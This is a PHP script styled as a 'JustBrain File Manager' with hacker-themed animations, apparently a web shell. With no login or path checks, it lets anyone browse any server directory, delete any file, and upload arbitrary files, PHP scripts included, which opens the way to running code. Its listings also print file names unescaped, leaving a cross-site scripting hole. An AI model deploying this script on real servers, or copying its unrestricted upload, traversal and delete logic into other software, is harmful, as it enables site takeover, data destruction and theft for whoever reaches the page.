<?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';

// ফাইল ডিলিট ফাংশন
if (isset($_GET['delete'])) {
    $deletePath = $_GET['delete'];
    if (is_file($deletePath)) {
        unlink($deletePath);
    }
    echo "<script>location.href='?dir=" . urlencode(dirname($deletePath)) . "';</script>";
    exit;
}

// ফাইল আপলোড ফাংশন
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fileUpload'])) {
    $uploadedFile = $_FILES['fileUpload'];
    $targetFilePath = $dir . '/' . basename($uploadedFile['name']);
    move_uploaded_file($uploadedFile['tmp_name'], $targetFilePath);
    echo "<script>location.href='?dir=" . urlencode($dir) . "';</script>";
    exit;
}

$files = scandir($dir);
$directories = [];
$regularFiles = [];

foreach ($files as $file) {
    if ($file === '.' || $file === '..') continue;
    $filePath = $dir . '/' . $file;
    if (is_dir($filePath)) {
        $directories[] = $file;
    } else {
        $regularFiles[] = $file;
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JustBrain File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            color: white;
            overflow: hidden;
            background: transparent;
            height: 100vh; /* Full height */
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
        }

        .background-animation {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: black;
            animation: animate-bg 20s infinite alternate;
            z-index: -2;
        }

        @keyframes animate-bg {
            0% {
                background: radial-gradient(circle, #000, #000);
            }
            100% {
                background: radial-gradient(circle, #000, #000);
            }
        }

        .falling-words {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            overflow: hidden;
            z-index: -1;
        }

        .falling-words span {
            position: absolute;
            color: rgba(0, 255, 0, 0.8);
            font-size: 20px;
            animation: fall 5s infinite linear;
        }

        @keyframes fall {
            0% {
                transform: translateY(-100%);
            }
            100% {
                transform: translateY(100vh);
            }
        }

        /* Animations for the falling words colors */
        .falling-words span:nth-child(odd) {
            color: #ff6347; /* Tomato */
        }

        .falling-words span:nth-child(even) {
            color: #1e90ff; /* DodgerBlue */
        }

        .falling-words span:nth-child(3n) {
            color: #32cd32; /* LimeGreen */
        }

        .falling-words span:nth-child(4n) {
            color: #ff1493; /* DeepPink */
        }

        .falling-words span:nth-child(5n) {
            color: #ffd700; /* Gold */
        }

        .content {
            width: 90%;
            max-width: 1200px;
            margin: auto;
            padding: 20px;
            border-radius: 8px;
            margin-top: 50px;
            overflow-x: auto;
            position: relative;
            z-index: 1;
            max-height: 80vh; /* Allow scroll only within content */
            overflow-y: scroll;
        }

        h1 {
            text-align: center;
            margin: 20px 0;
            font-size: 2.5em;
            color: #00ff00;
            position: relative;
            z-index: 1;
            animation: fadeIn 2s ease-in-out infinite;
        }

        @keyframes fadeIn {
            0% {
                opacity: 0;
            }
            50% {
                opacity: 1;
            }
            100% {
                opacity: 0;
            }
        }

        .path {
            color: white;
            margin: 10px;
            font-size: 1.2em;
        }

        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
            position: relative;
            z-index: 1;
        }

        th, td {
            padding: 10px;
            text-align: left;
            border: 1px solid #00ff00;
        }

        th {
            background-color: rgba(0, 0, 0, 0.6);
        }

        button, a {
            text-decoration: none;
            color: white;
            padding: 5px 10px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            background-color: #007BFF;
            transition: background-color 0.3s;
        }

        button:hover, a:hover {
            background-color: #0056b3;
        }

        .delete-btn {
            background-color: #dc3545;
        }

        .delete-btn:hover {
            background-color: #a71d2a;
        }

        .edit-btn {
            background-color: #ffc107;
        }

        .edit-btn:hover {
            background-color: #e0a800;
        }

        .upload-section {
            text-align: center;
            margin-bottom: 20px;
            position: relative;
            z-index: 1;
        }

        /* Hover effect for table rows */
        tr:hover {
            background-color: rgba(0, 255, 0, 0.4); /* Light green when hovering */
        }

        /* Style for the current path text */
        .current-path {
            color: #32cd32; /* LimeGreen */
            font-weight: bold;
        }
    </style>
</head>
<body>
    <div class="background-animation"></div>
    <div class="falling-words">
        <?php for ($i = 0; $i < 50; $i++): ?>
            <span style="left: <?= rand(0, 100) ?>%; animation-delay: <?= rand(0, 5) ?>s;">
                <?= chr(rand(65, 90)) ?>
            </span>
        <?php endfor; ?>
    </div>

    <h1>JustBrain File Manager</h1>

    <div class="path">
        <strong>Current Path: </strong><span class="current-path"><?= htmlspecialchars(realpath($dir)) ?></span>
    </div>

    <div class="upload-section">
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="fileUpload" required>
            <button type="submit">Upload File</button>
        </form>
    </div>

    <div class="content">
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($directories as $folder): ?>
                    <tr>
                        <td>📁 <a href="?dir=<?= urlencode($dir . '/' . $folder) ?>"><?= $folder ?></a></td>
                        <td>---</td>
                        <td>
                            <button class="delete-btn" onclick="location.href='?delete=<?= urlencode($dir . '/' . $folder) ?>'">Delete</button>
                        </td>
                    </tr>
                <?php endforeach; ?>

                <?php foreach ($regularFiles as $file): ?>
                    <tr>
                        <td><?= $file ?></td>
                        <td><?= filesize($dir . '/' . $file) ?> bytes</td>
                        <td>
                            <button class="delete-btn" onclick="location.href='?delete=<?= urlencode($dir . '/' . $file) ?>'">Delete</button>
                            <button onclick="location.href='<?= $dir . '/' . $file ?>'">Download</button>
                            <button class="edit-btn" onclick="alert('Edit feature is under development!')">Edit</button>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</body>
</html>
